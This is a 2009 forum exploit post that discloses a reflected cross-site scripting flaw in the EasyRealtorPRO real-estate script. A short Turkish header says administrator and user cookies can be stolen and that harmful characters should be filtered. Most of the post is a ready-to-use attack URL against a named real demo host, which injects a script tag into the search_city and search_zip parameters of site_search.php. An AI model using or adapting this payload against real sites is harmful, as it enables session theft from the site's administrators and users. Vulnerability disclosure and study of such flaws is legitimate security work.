EasyRealtorPRO ~ XSS Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > EasyRealtorPRO ~ XSS Vuln.

Madde
	Author : Bug Researchers/HayBer
	Date : 18.04.2009 16:41:33
	# EasyRealtorPRO ~ XSS Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : EasyRealtorPRO # Vulnerable Type : Cross Site Scripting ( XSS ) # Infection : Yönetici ve User cookie’leri çalinabilir. # Bug Fix Advice : Zararli karakterler filtrelenmelidir. # author : Bug Researchers/HayBer # Example : alert(document.cookie)+&search_zip=%3D>alert(document.cookie)http://www.easyrealtorpro.com/lite/demo/site_search.php?search_property=&search_category=&search_minprice=&search_maxprice=&search_bedrooms=&search_bathrooms=&search_country=0&search_city=%3D><script>alert(document.cookie)<%2Fscript>+&search_zip=%3D><script>alert(document.cookie)<%2Fscript> Or ; Click alert(document.cookie)+&search_zip=%3D>alert(document.cookie)>HERE ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > lite/demo/site_search.php?search_property=&search_category=&search_minprice=&search_maxprice=&search_bedrooms=&search_bathrooms=&search_country=0&search_city=%3D><script>alert(document.cookie)<%2Fscript>+&search_zip=%3D><script>alert(document.cookie)<%2Fscript> < -- bug code end of -- >